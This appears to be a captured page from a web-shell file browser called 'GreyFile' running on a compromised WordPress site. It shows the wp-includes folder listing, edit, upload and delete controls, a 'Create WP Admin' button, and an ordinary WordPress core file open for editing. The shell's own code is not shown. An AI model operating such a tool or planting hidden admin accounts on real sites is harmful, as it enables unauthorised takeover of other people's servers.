?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
demo2
/
wp-includes
/
?? Create WP Admin
??
Go up: /home/webdevt/www/demo2
?? Editing: class-wp-classic-to-block-menu-converter.php
<?php /** * WP_Classic_To_Block_Menu_Converter class * * @package WordPress * @since 6.3.0 */ /** * Converts a Classic Menu to Block Menu blocks. * * @since 6.3.0 */ class WP_Classic_To_Block_Menu_Converter { /** * Converts a Classic Menu to blocks. * * @since 6.3.0 * * @param WP_Term $menu The Menu term object of the menu to convert. * @return string|WP_Error The serialized and normalized parsed blocks on success, * an empty string when there are no menus to convert, * or WP_Error on invalid menu. */ public static function convert( $menu ) { if ( ! is_nav_menu( $menu ) ) { return new WP_Error( 'invalid_menu', __( 'The menu provided is not a valid menu.' ) ); } $menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) ); if ( empty( $menu_items ) ) { return ''; } // Set up the $menu_item variables. // Adds the class property classes for the current context, if applicable. _wp_menu_item_classes_by_context( $menu_items ); $menu_items_by_parent_id = static::group_by_parent_id( $menu_items ); $first_menu_item = $menu_items_by_parent_id[0] ?? array(); $inner_blocks = static::to_blocks( $first_menu_item, $menu_items_by_parent_id ); return serialize_blocks( $inner_blocks ); } /** * Returns an array of menu items grouped by the id of the parent menu item. * * @since 6.3.0 * * @param array $menu_items An array of menu items. * @return array */ private static function group_by_parent_id( $menu_items ) { $menu_items_by_parent_id = array(); foreach ( $menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } return $menu_items_by_parent_id; } /** * Turns menu item data into a nested array of parsed blocks * * @since 6.3.0 * * @param array $menu_items An array of menu items that represent * an individual level of a menu. * @param array $menu_items_by_parent_id An array keyed by the id of the * parent menu where each element is an * array of menu items that belong to * that parent. * @return array An array of parsed block data. */ private static function to_blocks( $menu_items, $menu_items_by_parent_id ) { if ( empty( $menu_items ) ) { return array(); } $blocks = array(); foreach ( $menu_items as $menu_item ) { $class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null; $id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null; $opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target; $rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null; $kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom'; $block = array( 'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link', 'attrs' => array( 'className' => $class_name, 'description' => $menu_item->description, 'id' => $id, 'kind' => $kind, 'label' => $menu_item->title, 'opensInNewTab' => $opens_in_new_tab, 'rel' => $rel, 'title' => $menu_item->attr_title, 'type' => $menu_item->object, 'url' => $menu_item->url, ), ); $block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? static::to_blocks( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id ) : array(); $block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] ); $blocks[] = $block; } return $blocks; } }
Save
Upload
??
Create Folder
??
Create File
??
abilities-api
|
??? Delete
??
ai-client
|
??? Delete
??
assets
|
??? Delete
??
block-bindings
|
??? Delete
??
block-patterns
|
??? Delete
??
block-supports
|
??? Delete
??
blocks
|
??? Delete
??
build
|
??? Delete
??
certificates
|
??? Delete
??
collaboration
|
??? Delete
??
css
|
??? Delete
??
customize
|
??? Delete
??
fonts
|
??? Delete
??
html-api
|
??? Delete
??
ID3
|
??? Delete
??
images
|
??? Delete
??
interactivity-api
|
??? Delete
??
IXR
|
??? Delete
??
js
|
??? Delete
??
l10n
|
??? Delete
??
php-ai-client
|
??? Delete
??
php-compat
|
??? Delete
??
PHPMailer
|
??? Delete
??
pomo
|
??? Delete
??
Requests
|
??? Delete
??
rest-api
|
??? Delete
??
SimplePie
|
??? Delete
??
sitemaps
|
??? Delete
??
sodium_compat
|
??? Delete
??
style-engine
|
??? Delete
??
Text
|
??? Delete
??
theme-compat
|
??? Delete
??
widgets
|
??? Delete
??
ai-client.php
|
?? Edit
|
??? Delete
??
block-i18n.json
|
?? Edit
|
??? Delete
??
block-patterns.php
|
?? Edit
|
??? Delete
??
bookmark-template.php
|
?? Edit
|
??? Delete
??
canonical.php
|
?? Edit
|
??? Delete
??
category.php
|
?? Edit
|
??? Delete
??
class-avif-info.php
|
?? Edit
|
??? Delete
??
class-phpmailer.php
|
?? Edit
|
??? Delete
??
class-pop3.php
|
?? Edit
|
??? Delete
??
class-smtp.php
|
?? Edit
|
??? Delete
??
class-walker-category-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu.php
|
?? Edit
|
??? Delete
??
class-walker-page-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-page.php
|
?? Edit
|
??? Delete
??
class-wp-ajax-response.php
|
?? Edit
|
??? Delete
??
class-wp-application-passwords.php
|
?? Edit
|
??? Delete
??
class-wp-block-bindings-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-list.php
|
?? Edit
|
??? Delete
??
class-wp-block-metadata-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-pattern-categories-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-supports.php
|
?? Edit
|
??? Delete
??
class-wp-block-templates-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type.php
|
?? Edit
|
??? Delete
??
class-wp-classic-to-block-menu-converter.php
|
?? Edit
|
??? Delete
??
class-wp-comment-query.php
|
?? Edit
|
??? Delete
??
class-wp-connector-registry.php
|
?? Edit
|
??? Delete
??
class-wp-customize-nav-menus.php
|
?? Edit
|
??? Delete
??
class-wp-dependency.php
|
?? Edit
|
??? Delete
??
class-wp-duotone.php
|
?? Edit
|
??? Delete
??
class-wp-http-cookie.php
|
?? Edit
|
??? Delete
??
class-wp-http-response.php
|
?? Edit
|
??? Delete
??
class-wp-http-streams.php
|
?? Edit
|
??? Delete
??
class-wp-icons-registry.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-gd.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-imagick.php
|
?? Edit
|
??? Delete
??
class-wp-list-util.php
|
?? Edit
|
??? Delete
??
class-wp-locale-switcher.php
|
?? Edit
|
??? Delete
??
class-wp-locale.php
|
?? Edit
|
??? Delete
??
class-wp-matchesmapregex.php
|
?? Edit
|
??? Delete
??
class-wp-metadata-lazyloader.php
|
?? Edit
|
??? Delete
??
class-wp-paused-extensions-storage.php
|
?? Edit
|
??? Delete
??
class-wp-post-type.php
|
?? Edit
|
??? Delete
??
class-wp-query.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-cookie-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-email-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-key-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-link-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode.php
|
?? Edit
|
??? Delete
??
class-wp-rewrite.php
|
?? Edit
|
??? Delete
??
class-wp-roles.php
|
?? Edit
|
??? Delete
??
class-wp-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-sanitize-kses.php
|
?? Edit
|
??? Delete
??
class-wp-site-query.php
|
?? Edit
|
??? Delete
??
class-wp-tax-query.php
|
?? Edit
|
??? Delete
??
class-wp-textdomain-registry.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-resolver.php
|
?? Edit
|
??? Delete
??
class-wp-token-map.php
|
?? Edit
|
??? Delete
??
class-wp-widget-factory.php
|
?? Edit
|
??? Delete
??
class-wpdb.php
|
?? Edit
|
??? Delete
??
collaboration.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
compat-utf8.php
|
?? Edit
|
??? Delete
??
connectors.php
|
?? Edit
|
??? Delete
??
default-filters.php
|
?? Edit
|
??? Delete
??
error-protection.php
|
?? Edit
|
??? Delete
??
feed-rss2-comments.php
|
?? Edit
|
??? Delete
??
global-styles-and-settings.php
|
?? Edit
|
??? Delete
??
kses.php
|
?? Edit
|
??? Delete
??
l10n.php
|
?? Edit
|
??? Delete
??
link-template.php
|
?? Edit
|
??? Delete
??
locale.php
|
?? Edit
|
??? Delete
??
media-template.php
|
?? Edit
|
??? Delete
??
media.php
|
?? Edit
|
??? Delete
??
ms-default-filters.php
|
?? Edit
|
??? Delete
??
ms-deprecated.php
|
?? Edit
|
??? Delete
??
ms-files.php
|
?? Edit
|
??? Delete
??
ms-site.php
|
?? Edit
|
??? Delete
??
nav-menu.php
|
?? Edit
|
??? Delete
??
pluggable-deprecated.php
|
?? Edit
|
??? Delete
??
pluggable.php
|
?? Edit
|
??? Delete
??
post-thumbnail-template.php
|
?? Edit
|
??? Delete
??
registration.php
|
?? Edit
|
??? Delete
??
rss-functions.php
|
?? Edit
|
??? Delete
??
sitemaps.php
|
?? Edit
|
??? Delete
??
spl-autoload-compat.php
|
?? Edit
|
??? Delete
??
style-engine.php
|
?? Edit
|
??? Delete
??
taxonomy.php
|
?? Edit
|
??? Delete
??
template.php
|
?? Edit
|
??? Delete
??
theme-i18n.json
|
?? Edit
|
??? Delete
??
theme.json
|
?? Edit
|
??? Delete
??
vars.php
|
?? Edit
|
??? Delete
??
version.php
|
?? Edit
|
??? Delete
??
view-transitions.php
|
?? Edit
|
??? Delete